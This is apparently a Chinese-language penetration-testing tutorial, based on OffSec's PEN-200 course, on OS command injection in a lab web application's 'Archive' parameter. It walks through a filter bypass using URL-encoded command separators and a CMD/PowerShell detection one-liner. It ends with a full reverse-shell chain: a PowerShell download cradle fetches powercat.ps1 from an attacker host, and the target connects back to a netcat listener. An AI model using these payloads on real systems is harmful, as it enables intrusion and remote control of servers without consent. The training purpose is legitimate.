目錄
說到指令,讀者會想像到何種情境呢?
通常我們在Windows上可以用命令提示字元,而在Mac跟Linux上有內建的終端機可以讓我們輸入指令,而這些功能都植基在系統上,所以指令注入最基本就是針對系統提供的指令進行操作
作業系統指令注入
一般來說,網頁應用服務都需要跟底層運行的作業系統做互動,例如要建立一個檔案的頁面或路徑而需要用檔案上傳機制時,所以現今後端工程師在開發應用服務時,都需要詳細知道作業系統提供的預設互動指令,以此來開發給使用者一些可行的API或功能
而通常預設的指令使用者不能自己隨意的變更輸入的型態內容,但由於不同的需求,所以在規劃跟開發時非常耗時
有時候網頁應用服務需要提供多個使用情境的使用,但預設的功能卻不是那麼彈性,此時網頁開發者的想法是直接讓使用者輸入想要的內容,而前後端再做資料消毒字串,為了不讓惡意攻擊者嘗試改變應用服務的內容,過濾任何輸入進來的指令字串是非常必要的動作
我們展示給讀者一個實驗

在這個實驗的頁面中存在一組可以輸入的欄位,而我們可以先嘗試輸入”git clone”指令來複製一份repo下來,我們可以猜想這個頁面背後的作業系統會執行輸入的字串,所以我們可以組織一些指令來嘗試注入,我們嘗試複製ExploitDB的repo下來

送出請求後就會開始下載,而網頁也回傳給我們成功複製下來

另外,也把我們輸入的指令顯示給我們看,代表我們可以嘗試用curl來注入測試一些隨機的指令,例如”ipconfig”、”ifconfig”以及”hostname”等指令
我們換到Burp Suite上的HTTP歷史紀錄來檢查整個POST請求的結構,可以發現”Archive”是主要指令請求的參數

而我們在Burp上看到”Archive”這個參數包含了方才我們使用的Git指令,所以我們可以置換成curl,另外用”-X”參數來變更POST請求,再搭配”–data”指定我們想要傳送的資料
kali@kali:~$ curl -X POST --data 'Archive=ipconfig' http://192.168.50.189:8000/archive
Command Injection detected. Aborting...%!(EXTRA string=ipconfig)
我們第一次的嘗試,網頁回應說偵測到”ipconfig”的指令注入嘗試,所以拒絕執行,這時候我們就可以開始嘗試分析可行的輸入以及繞過過濾的規則,接著,我們測試只用git指令放進”Archive”參數裡送出請求試試
kali@kali:~$ curl -X POST --data 'Archive=git' http://192.168.50.189:8000/archive
An error occured with execution: exit status 1 and usage: git [--version] [--help] [-C <path>] [-c <name>=<value>]
[--exec-path[=<path>]] [--html-path] [--man-path] [--info-path][-p | --paginate | -P | --no-pager] [--no-replace-objects] [--bare]
...
push Update remote refs along with associated objects
'git help -a' and 'git help -g' list available subcommands and some concept guides. See 'git help <command>' or 'git help <concept>' to read about a specific subcommand or concept.
See 'git help git' for an overview of the system.
上面的輸出回應給我們git指令的說明內容,這代表網頁並沒有限制只能用”git clone”這個指令,而如果”git”也可以被執行,我們就可以嘗試加上”version”的指令,如果這也可以被接受的話,意思是我們可以執行任何git相關的指令
此時,我們可以知道背後執行的作業系統是Windows或Linux,因為”git version”被執行在Windows系統上,會特別顯示Windows的字串,而如果網頁是運作在Linux上,用該指令則只會顯示Git的版本
kali@kali:~$ curl -X POST --data 'Archive=git version' http://192.168.50.189:8000/archive
Repository successfully cloned with command: git version and output: git version
2.35.1.windows.2
而我們目前實驗的機器是在Windows上,知道這項線索後,我們就可以開始不斷嘗試指令找出哪些會被過濾,而哪些是被允許的,先前我們知道不能靠一些簡單的指令,所以我們嘗試把”git”跟”ipconfig”指令利用URL編碼組合在一起
例如把分號編碼成”%3B”,因為分號在PowerShell或Bash上可以區分數個指令,但最終組合成一個主要的指令,另外,我們也可以使用兩個AND(“&&”)來合併兩個指令,對於Windows來講命令提示字元可以只用一個AND(“&”)就達成一樣的效果
kali@kali:~$ curl -X POST --data 'Archive=git%3Bipconfig' http://192.168.50.189:8000/archive
...
'git help -a' and 'git help -g' list available subcommands and some concept guides. See 'git help <command>' or 'git help <concept>' to read about a specific subcommand or concept.
See 'git help git' for an overview of the system.
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.50.189
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.50.254
結果是兩個指令都可以成功被執行的,所以我們可以假設這個頁面的過濾器只要請求裡有”Archive”加上”git”指令就會執行,接著我們就可以針對這點來嘗試其他種類型的指令,我們要先來測試看看能不能執行PowerShell或CMD等環境
在這種情況下,感謝PetSerAI等專案,他們已經設計了簡易型指令可以讓我們確認”CMD”或者”PowerShell”可以被執行
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
感謝他們,我們可以將這段縮減過的單行指令URL編碼,再將這段指令送出
kali@kali:~$ curl -X POST --data 'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell' http://192.168.50.189:8000/archive
...
See 'git help git' for an overview of the system.
PowerShell
上述的測試顯示出來了”PowerShell”,這代表我們請求的指令被指行起來了,並且PowerShell環境開起來了
再來,我們利用注入指令來存取系統資訊,相關的工具我們可以用Powercat這個工具來製作逆向shell,在Kali Linux裡,Powercat是用來實作PowerShell版的Netcat功能所誕生的,我們另外開一個頁面複製到主目錄使用,同目錄底下啟動一台網頁伺服器
kali@kali:~$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
...
除此之外,再開一個頁面用Netcat監聽來接收逆向shell的資訊
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
搭配powercat.ps1這組腳本加上Netcat監聽,我們可以利用curl再把第一次使用的指令重送一次嘗試注入,利用分號來組成兩個指令部分,第一部分利用PowerShell下載”cradle”載入Powercat功能,這個檔案可以從我們方才開的伺服器放進去
第二部分使用powercat來建立逆向shell,加上”-c”來指定連接的位址、”-p”指定port而”-e”則讓目標執行內容
IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e powershell
一樣,我們利用URL編碼指令後再傳送請求
kali@kali:~$ curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell' http://192.168.50.189:8000/archive
在我們輸入指令之後,而我們剛才建立的伺服器資訊可以收到有一個GET請求要powercat.ps1腳本檔案
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.50.189 - - [05/Apr/2022 09:05:48] "GET /powercat.ps1 HTTP/1.1" 200 -
而在監聽的終端機裡我們則收到逆向shell連接的資訊
kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.119.3] from (UNKNOWN) [192.168.50.189] 50325
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator\Documents\meteor>
上述的結果顯示我們成功取得目標的逆向shell,除了目前我們使用的Powercat之外,我們也可以直接注入Powershell逆向shell,只要讀者知道目標系統可以吃哪些指令
所以說,其實存在很多種指令注入漏洞的方法可以利用,只要詳細了解網頁應用服務背後的作業系統資訊以及應用服務的實作細節,這樣的觀念也可以套用在其他種漏洞上
Reference
[1] OffSec, “Common Web Application Attacks: Command Injection,” The Penetration Testing with Kali Linux (PEN-200).
